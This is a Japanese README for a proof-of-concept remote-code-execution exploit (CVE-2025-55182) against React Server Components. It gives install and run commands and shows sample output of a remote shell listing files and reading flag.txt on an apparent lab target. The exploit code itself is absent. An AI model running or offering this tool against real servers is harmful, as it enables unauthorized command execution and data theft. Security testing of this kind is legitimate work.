
React Server Components 19.0.0 - 19.2.0 向けのリモートコード実行
CVE-2025-55182 の概念実証エクスプロイトです。 成功すると、HTTP-POST リクエストを介してリモートターゲット上でシェルをエミュレートします。 HTTP と HTTPS の両方で動作しますが、証明書チェックはすべてスキップします。 絶対パスによるディレクトリ変更のみをサポートします。
# Install systemwide
pipx install requests
# Only install in current directory
python -m venv .
. bin/activate
pip install requests
python3 ./CVE-2025-55182.py 'https://example.notatld:1337/'
正常に実行されると、出力は次のようになります。
╰─$ python CVE-2025-55182.py http://localhost:1337/
CVE-2025-55182 - PoC Shell
Author: Least-Significant-Bit
Hint: Type 'exit' or 'quit' to exit.
/app/.next/standalone $> cd /app
/app $> ls
app
flag.txt
next-env.d.ts
next.config.mjs
node_modules
package-lock.json
package.json
postcss.config.mjs
public
tailwind.config.ts
tsconfig.json
/app $> cat flag.txt
EXAMPLE_TEST_FLAG